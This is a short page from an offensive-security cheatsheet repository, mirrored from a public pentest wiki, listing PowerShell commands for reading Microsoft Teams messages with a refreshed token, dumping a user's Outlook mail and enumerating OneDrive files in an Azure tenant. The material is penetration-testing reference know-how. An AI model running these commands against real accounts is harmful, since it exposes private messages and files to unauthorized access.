daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

azure-services-office-365.md (1166B)


      1 ---
      2 title: "Azure Services - Office 365"
      3 section: "Cloud"
      4 sectionSlug: "cloud"
      5 sourcePath: "docs/cloud/azure/azure-services-office-365.md"
      6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/cloud/azure/azure-services-office-365.md"
      7 sha: "203bb0c0b290"
      8 isIndex: false
      9 ---
     10 
     11 # Azure Services - Office 365
     12 
     13 ## Microsoft Teams Messages
     14 
     15 ```ps1
     16 TokenTacticsV2> RefreshTo-MSTeamsToken -domain domain.local
     17 AADInternals> Get-AADIntTeamsMessages -AccessToken $MSTeamsToken.access_token | Format-Table id,content,deletiontime,*type*,DisplayName
     18 ```
     19 
     20 ## Outlook Mails
     21 
     22 * Read user mails
     23 
     24     ```ps1
     25     Get-MgUserMessage -UserId <user-id> | ft
     26     Get-MgUserMessageContent -OutFile mail.txt -UserId <user-id> -MessageId <message-id>
     27     ```
     28 
     29 ## OneDrive Files
     30 
     31 ```ps1
     32 $userId = "<user-id>"
     33 Import-Module Microsoft.Graph.Files
     34 Get-MgUserDefaultDrive -UserId $userId
     35 Get-MgUserDrive -UserId $UserId  -Debug
     36 Get-MgDrive -top 1
     37 ```
     38 
     39 ## References
     40 
     41 * [Pentesting Azure Mindmap - Alexis Danizan](https://github.com/synacktiv/Mindmaps)
     42 * [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab)